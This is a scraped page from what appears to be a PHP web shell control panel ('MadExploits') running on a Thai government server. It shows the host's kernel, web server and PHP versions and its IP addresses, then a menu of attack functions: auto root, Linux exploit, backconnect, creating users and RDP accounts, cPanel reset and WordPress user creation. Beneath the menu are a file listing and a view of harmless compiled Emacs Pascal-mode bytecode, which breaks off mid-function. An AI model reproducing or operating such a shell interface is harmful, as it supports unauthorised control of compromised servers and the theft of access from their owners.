Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
progmodes /
[ HOME SHELL ]
Name
Size
Permission
Action
ada-mode.elc
107.46
KB
-rw-r--r--
ada-prj.elc
17.96
KB
-rw-r--r--
ada-stmt.elc
36.03
KB
-rw-r--r--
ada-xref.elc
54.99
KB
-rw-r--r--
antlr-mode.elc
77.63
KB
-rw-r--r--
asm-mode.elc
6.08
KB
-rw-r--r--
autoconf.elc
3.37
KB
-rw-r--r--
bug-reference.elc
5.83
KB
-rw-r--r--
cap-words.elc
3.54
KB
-rw-r--r--
cc-align.elc
35.43
KB
-rw-r--r--
cc-awk.elc
20.23
KB
-rw-r--r--
cc-bytecomp.elc
10.45
KB
-rw-r--r--
cc-cmds.elc
92.26
KB
-rw-r--r--
cc-compat.elc
2.97
KB
-rw-r--r--
cc-defs.elc
46.7
KB
-rw-r--r--
cc-engine.elc
143.05
KB
-rw-r--r--
cc-fonts.elc
140.72
KB
-rw-r--r--
cc-langs.elc
70.29
KB
-rw-r--r--
cc-menus.elc
7.32
KB
-rw-r--r--
cc-mode.elc
144.75
KB
-rw-r--r--
cc-styles.elc
16.11
KB
-rw-r--r--
cc-subword.elc
6.99
KB
-rw-r--r--
cc-vars.elc
71.07
KB
-rw-r--r--
cfengine.elc
8.09
KB
-rw-r--r--
cmacexp.elc
6.58
KB
-rw-r--r--
compile.elc
69.45
KB
-rw-r--r--
cperl-mode.elc
215.39
KB
-rw-r--r--
cpp.elc
21.52
KB
-rw-r--r--
cwarn.elc
12.8
KB
-rw-r--r--
dcl-mode.elc
49.31
KB
-rw-r--r--
delphi.elc
50.03
KB
-rw-r--r--
ebnf-abn.elc
7.39
KB
-rw-r--r--
ebnf-bnf.elc
7.99
KB
-rw-r--r--
ebnf-dtd.elc
13.82
KB
-rw-r--r--
ebnf-ebx.elc
8.77
KB
-rw-r--r--
ebnf-iso.elc
8.14
KB
-rw-r--r--
ebnf-otz.elc
8.51
KB
-rw-r--r--
ebnf-yac.elc
7.53
KB
-rw-r--r--
ebnf2ps.elc
121.25
KB
-rw-r--r--
ebrowse.elc
202.93
KB
-rw-r--r--
etags.elc
54.14
KB
-rw-r--r--
executable.elc
7.6
KB
-rw-r--r--
f90.elc
82.59
KB
-rw-r--r--
flymake.elc
61.25
KB
-rw-r--r--
fortran.elc
60.13
KB
-rw-r--r--
gdb-ui.elc
138.61
KB
-rw-r--r--
glasses.elc
10.15
KB
-rw-r--r--
grep.elc
27.75
KB
-rw-r--r--
gud.elc
93.94
KB
-rw-r--r--
hideif.elc
26.67
KB
-rw-r--r--
hideshow.elc
24.54
KB
-rw-r--r--
icon.elc
16.23
KB
-rw-r--r--
idlw-complete-structtag.elc
4.75
KB
-rw-r--r--
idlw-help.elc
35.31
KB
-rw-r--r--
idlw-shell.elc
134.39
KB
-rw-r--r--
idlw-toolbar.elc
28.34
KB
-rw-r--r--
idlwave.elc
254.7
KB
-rw-r--r--
inf-lisp.elc
18.43
KB
-rw-r--r--
ld-script.elc
4.91
KB
-rw-r--r--
m4-mode.elc
4.91
KB
-rw-r--r--
make-mode.elc
58.79
KB
-rw-r--r--
mantemp.elc
3.77
KB
-rw-r--r--
meta-mode.elc
27.42
KB
-rw-r--r--
mixal-mode.elc
35.32
KB
-rw-r--r--
modula2.elc
14.23
KB
-rw-r--r--
octave-inf.elc
11.87
KB
-rw-r--r--
octave-mod.elc
44.6
KB
-rw-r--r--
pascal.elc
40.31
KB
-rw-r--r--
perl-mode.elc
22.42
KB
-rw-r--r--
prolog.elc
12.7
KB
-rw-r--r--
ps-mode.elc
33.38
KB
-rw-r--r--
python.elc
86.23
KB
-rw-r--r--
ruby-mode.elc
34.59
KB
-rw-r--r--
scheme.elc
15.94
KB
-rw-r--r--
sh-script.elc
94.73
KB
-rw-r--r--
simula.elc
44.81
KB
-rw-r--r--
sql.elc
101.34
KB
-rw-r--r--
sym-comp.elc
7.15
KB
-rw-r--r--
tcl.elc
38.58
KB
-rw-r--r--
vera-mode.elc
44.5
KB
-rw-r--r--
verilog-mode.elc
331.76
KB
-rw-r--r--
vhdl-mode.elc
510.47
KB
-rw-r--r--
which-func.elc
9.72
KB
-rw-r--r--
xscheme.elc
37.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pascal.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:05:11 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/progmodes/pascal.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`pascal.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (custom-declare-group 'pascal nil "Major mode for editing Pascal source in Emacs." :link '(custom-group-link :tag "Font Lock Faces group" font-lock-faces) :group 'languages) #@45 Abbrev table in use in Pascal-mode buffers. (defvar pascal-mode-abbrev-table nil (#$ . 787)) (define-abbrev-table 'pascal-mode-abbrev-table nil) #@29 Keymap used in Pascal mode. (defvar pascal-mode-map (byte-code "\301 \302\303\304#\210\302\305\304#\210\302\306\307#\210\302\310\311#\210\302\312\313#\210\302\314\315#\210\302\316\317#\210\302\320\321#\210\302\322\323#\210\302\324\325#\210\302\326\327#\210\302\330\331#\210\302\332\333#\210\302\334\335#\210\302\336\337#\210\302\340\341#\210\302\342\343#\210\302\344\345#\210\302\346\347#\210)\207" [map make-sparse-keymap define-key ";" electric-pascal-semi-or-dot "." ":" electric-pascal-colon "=" electric-pascal-equal "#" electric-pascal-hash " " electric-pascal-terminate-line " " electric-pascal-tab "\211" pascal-complete-word "\277" pascal-show-completions "" backward-delete-char-untabify "\210" pascal-mark-defun "" pascal-insert-block "\252" pascal-star-comment "" pascal-comment-area "" pascal-uncomment-area "\201" pascal-beg-of-defun "\205" pascal-end-of-defun "" pascal-goto-defun "" pascal-outline-mode] 4) (#$ . 938)) #@68 Imenu expression for Pascal-mode. See `imenu-generic-expression'. (defvar pascal-imenu-generic-expression '((nil "^[ ]*\\(function\\|procedure\\)[ \n]+\\([a-zA-Z0-9_.:]+\\)" 2)) (#$ . 1911)) (byte-code "\301B\302\301!\204 \303\301\304\"\210\305B\306\307!\210\310B\311\312!\210\313B\314\315!\210\316B\317\320!\210\321B\322\323!\210\324B\325\326!\210\327B\330\331!\210\332B\333\334!\210\335B\336\337!\210\340B\341\342!\210\343B\344\345!\210\346B\347\350!\207" [current-load-list pascal-keywords default-boundp set-default ("and" "array" "begin" "case" "const" "div" "do" "downto" "else" "end" "file" "for" "function" "goto" "if" "in" "label" "mod" "nil" "not" "of" "or" "packed" "procedure" "program" "record" "repeat" "set" "then" "to" "type" "until" "var" "while" "with" "get" "put" "input" "output" "read" "readln" "reset" "rewrite" "write" "writeln") pascal-symbol-re (lambda (#1=#:defconst-tmp-var) (defconst pascal-symbol-re #1#)) "\\<[a-zA-Z_][a-zA-Z_0-9.]*\\>" pascal-beg-block-re (lambda (#2=#:defconst-tmp-var) (defconst pascal-beg-block-re #2#)) "\\<\\(begin\\|case\\|record\\|repeat\\)\\>" pascal-end-block-re (lambda (#3=#:defconst-tmp-var) (defconst pascal-end-block-re #3#)) "\\<\\(end\\|until\\)\\>" pascal-declaration-re (lambda (#4=#:defconst-tmp-var) (defconst pascal-declaration-re #4#)) "\\<\\(const\\|label\\|type\\|var\\)\\>" pascal-progbeg-re (lambda (#5=#:defconst-tmp-var) (defconst pascal-progbeg-re #5#)) "\\<\\program\\>" pascal-defun-re (lambda (#6=#:defconst-tmp-var) (defconst pascal-defun-re #6#)) "\\<\\(function\\|procedure\\|program\\)\\>" pascal-sub-block-re (lambda (#7=#:defconst-tmp-var) (defconst pascal-sub-block-re #7#)) "\\<\\(if\\|else\\|for\\|while\\|with\\)\\>" pascal-noindent-re (lambda (#8=#:defconst-tmp-var) (defconst pascal-noindent-re #8#)) "\\<\\(begin\\|end\\|until\\|else\\)\\>" pascal-nosemi-re (lambda (#9=#:defconst-tmp-var) (defconst pascal-nosemi-re #9#)) "\\<\\(begin\\|repeat\\|then\\|do\\|else\\)\\>" pascal-autoindent-lines-re (lambda (#10=#:defconst-tmp-var) (defconst pascal-autoindent-lines-re #10#)) "\\<\\(label\\|var\\|type\\|const\\|until\\|end\\|begin\\|repeat\\|else\\)\\>" pascal-exclude-str-start (lambda (#11=#:defconst-tmp-var) (defconst pascal-exclude-str-start #11#)) "{-----\\/----- EXCLUDED -----\\/-----" pascal-exclude-str-end (lambda (#12=#:defconst-tmp-var) (defconst pascal-exclude-str-end #12#)) " -----/\\----- EXCLUDED -----/\\-----}"] 3) #@45 Syntax table in use in Pascal-mode buffers. (defvar pascal-mode-syntax-table (byte-code "\301 \302\303\304#\210\302\305\306#\210\302\307\310#\210\302\311\312#\210\302\313\314#\210\302\315\316#\210\302\317\304#\210\302\320\304#\210\302\321\304#\210\302\322\304#\210\302\323\304#\210\302\324\304#\210\302\325\304#\210\302\326\304#\210\302\327\330#\210\302\331\332#\210)\207" [st make-syntax-table modify-syntax-entry 92 "." 40 "()1" 41 ")(4" 42 ". 23" 123 "<" 125 ">" 43 45 61 37 60 62 38 124 95 "_" 39 "\""] 4) (#$ . 4375)) #@53 Additional expressions to highlight in Pascal mode. (defconst pascal-font-lock-keywords (byte-code "\300\301\302\303\304B\305\306\307\310\311\257!\207" [purecopy ("^[ ]*\\(function\\|pro\\(cedure\\|gram\\)\\)\\>[ ]*\\([a-z]\\)" 1 font-lock-keyword-face) ("^[ ]*\\(function\\|pro\\(cedure\\|gram\\)\\)\\>[ ]*\\([a-z][a-z0-9_]*\\)" 3 font-lock-function-name-face t) "\\<\\(array\\|boolean\\|c\\(har\\|onst\\)\\|file\\|integer\\|re\\(al\\|cord\\)\\|type\\|var\\)\\>" font-lock-type-face ("\\<\\(label\\|external\\|forward\\)\\>" . font-lock-constant-face) ("\\<\\([0-9]+\\)[ ]*:" 1 font-lock-function-name-face) "\\<\\(and\\|begin\\|case\\|do\\|e\\(lse\\|nd\\)\\|for\\|i[fn]\\|not\\|o[fr]\\|repeat\\|t\\(hen\\|o\\)\\|until\\|w\\(hile\\|ith\\)\\)\\>" ("\\<\\(goto\\)\\>[ ]*\\([0-9]+\\)?" 1 font-lock-keyword-face) ("\\<\\(goto\\)\\>[ ]*\\([0-9]+\\)?" 2 font-lock-keyword-face t)] 9) (#$ . 4922)) (put 'pascal-mode 'font-lock-defaults '(pascal-font-lock-keywords nil t)) #@69 *Indentation of Pascal statements with respect to containing block. (custom-declare-variable 'pascal-indent-level '3 '(#$ . -5902) :type 'integer :group 'pascal) #@35 *Indentation for case statements. (custom-declare-variable 'pascal-case-indent '2 '(#$ . -6070) :type 'integer :group 'pascal) #@142 *Non-nil means automatically insert newlines in certain cases. These include after semicolons and after the punctuation mark after an `end'. (custom-declare-variable 'pascal-auto-newline 'nil '(#$ . -6204) :type 'boolean :group 'pascal) #@47 *Non-nil means nested functions are indented. (custom-declare-variable 'pascal-indent-nested-functions 't '(#$ . -6447) :type 'boolean :group 'pascal) #@175 *Non-nil means TAB in Pascal mode should always reindent the current line. If this is nil, TAB inserts a tab if it is at the end of the line and follows non-whitespace text. (custom-declare-variable 'pascal-tab-always-indent 't '(#$ . -6605) :type 'boolean :group 'pascal) #@210 *Non-nil means automatically insert comments after certain `end's. Specifically, this is done after the ends of cases statements and functions. The name of the function or case is included between the braces. (custom-declare-variable 'pascal-auto-endcomments 't '(#$ . -6885) :type 'boolean :group 'pascal) #@374 *List of contexts where auto lineup of :'s or ='s should be done. Elements can be of type: 'paramlist', 'declaration' or 'case', which will do auto lineup in parameterlist, declarations or case-statements respectively. The word 'all' will do all lineups. '(case paramlist) for instance will do lineup in case-statements and parameterlist, while '(all) will do all lineups. (custom-declare-variable 'pascal-auto-lineup ''(all) '(#$ . -7199) :type '(set :extra-offset 8 (const :tag "Everything" all) (const :tag "Parameter lists" paramlist) (const :tag "Decalrations" declaration) (const :tag "Case statements" case)) :group 'pascal) #@280 *Non-nil means \<pascal-mode-map>\[pascal-complete-word] should try all possible completions one by one. Repeated use of \[pascal-complete-word] will show you all of them. Normally, when there is more than one possible completion, it displays a list of all possible completions. (custom-declare-variable 'pascal-toggle-completions 'nil '(#$ . -7838) :type 'boolean :group 'pascal) #@229 *Keywords for types used when completing a word in a declaration or parmlist. These include integer, real, char, etc. The types defined within the Pascal program are handled in another way, and should not be added to this list. (custom-declare-variable 'pascal-type-keywords ''("array" "file" "packed" "char" "integer" "real" "string" "record") '(#$ . -8226) :type '(repeat (string :tag "Keyword")) :group 'pascal) #@257 *Keywords to complete when standing at the first word of a statement. These are keywords such as begin, repeat, until, readln. The procedures and variables defined within the Pascal program are handled in another way, and should not be added to this list. (custom-declare-variable 'pascal-start-keywords ''("begin" "end" "function" "procedure" "repeat" "until" "while" "read" "readln" "reset" "rewrite" "write" "writeln") '(#$ . -8648) :type '(repeat (string :tag "Keyword")) :group 'pascal) #@256 *Keywords to complete when NOT standing at the first word of a statement. These are keywords such as downto, else, mod, then. Variables and function names defined within the Pascal program are handled in another way, and should not be added to this list. (custom-declare-variable 'pascal-separator-keywords ''("downto" "else" "mod" "div" "then") '(#$ . -9147) :type '(repeat (string :tag "Keyword")) :group 'pascal) (defalias 'pascal-get-beg-of-line #[(&optional arg) "\212\301!\210`)\207" [arg beginning-of-line] 2]) (put 'pascal-get-beg-of-line 'byte-optimizer 'byte-compile-inline-expand) (defalias 'pascal-get-end-of-line #[(&optional arg) "\212\210`)\207" [arg] 1]) (put 'pascal-get-end-of-line 'byte-optimizer 'byte-compile-inline-expand) (defalias 'pascal-declaration-end #[nil "\301\302V\2059 \303\304\212\305\210`)\306#\2059 \301\224\203! T\211\202 \305\224\203- S\211\202 \307\310!\203 \302\211\202 )\207" [nest 1 0 re-search-forward "[:=]\\|\\(\\<record\\>\\)\\|\\(\\<end\\>\\)" 2 t looking-at "[^(\n]+)"] 5]) (defalias 'pascal-declaration-beg #[nil "\302\303V\203; \304\305\303\212\306 !\210`*\307#\203; \302\224\203# \303\211\202 \310\224\203/ S\211\202 \311\224\203 T\211\202 \303U)\207" [nest arg 1 0 re-search-backward "[:=]\\|\\<\\(type\\|var\\|label\\|const\\)\\>\\|\\(\\<record\\>\\)\\|\\(\\<end\\>\\)" beginning-of-line t 2 3] 5]) (defalias 'pascal-within-string #[nil "\212\301\302\303\212\304!\210`*`\"8)\207" [arg 3 parse-partial-sexp nil beginning-of-line] 4]) (put 'pascal-within-string 'byte-optimizer 'byte-compile-inline-expand) #@2025 Major mode for editing Pascal code. \<pascal-mode-map> TAB indents for Pascal code. Delete converts tabs to spaces as it moves back. \[pascal-complete-word] completes the word around current point with respect to position in code \[pascal-show-completions] shows all possible completions at this point. Other useful functions are: \[pascal-mark-defun] - Mark function. \[pascal-insert-block] - insert begin ... end; \[pascal-star-comment] - insert (* ... *) \[pascal-comment-area] - Put marked area in a comment, fixing nested comments. \[pascal-uncomment-area] - Uncomment an area commented with \[pascal-comment-area]. \[pascal-beg-of-defun] - Move to beginning of current function. \[pascal-end-of-defun] - Move to end of current function. \[pascal-goto-defun] - Goto function prompted for in the minibuffer. \[pascal-outline-mode] - Enter `pascal-outline-mode'. Variables controlling indentation/edit style: pascal-indent-level (default 3) Indentation of Pascal statements with respect to containing block. pascal-case-indent (default 2) Indentation for case statements. pascal-auto-newline (default nil) Non-nil means automatically newline after semicolons and the punctuation mark after an end. pascal-indent-nested-functions (default t) Non-nil means nested functions are indented. pascal-tab-always-indent (default t) Non-nil means TAB in Pascal mode should always reindent the current line, regardless of where in the line point is when the TAB command is used. pascal-auto-endcomments (default t) Non-nil means a comment { ... } is set after the ends which ends cases and functions. The name of the function or case will be set between the braces. pascal-auto-lineup (default t) List of contexts where auto lineup of :'s or ='s should be done. See also the user variables pascal-type-keywords, pascal-start-keywords and pascal-separator-keywords. Turning on Pascal mode calls the value of the variable pascal-mode-hook with no args, if that value is non-nil. (defalias 'pascal-mode #[nil "\306 \210\307!\210\310\311\312 !\210\313\314!\210\315\f\313\316!\210\317\313\320!\210\321\313\322!\210\323\313\324!\210\323\313\325!\210\326\313\327!\210\330\313\331!\210\332\313\333!\210\334\313\335!\210 \323!\336\337!\207" [pascal-mode-map major-mode mode-name pascal-mode-abbrev-table local-abbrev-table pascal-mode-syntax-table kill-all-local-variables use-local-map pascal-mode "Pascal" set-syntax-table make-local-variable indent-line-function pascal-indent-line comment-indent-function pascal-indent-comment parse-sexp-ignore-comments nil blink-matching-paren-dont-ignore-comments t case-fold-search comment-start "{" comment-start-skip "(\\*+ *\\|{ *" comment-end "}" font-lock-defaults (pascal-font-lock-keywords nil t) imenu-generic-expression run-mode-hooks pascal-mode-hook pascal-imenu-generic-expression imenu-case-fold-search] 2 (#$ . 10742) nil]) #@38 Terminate line and indent next line. (defalias 'electric-pascal-terminate-line #[nil "\212\304 \210\305\306w\210\307!\203 \310 \210)\311 \210\312 \210\310 \210 \203\"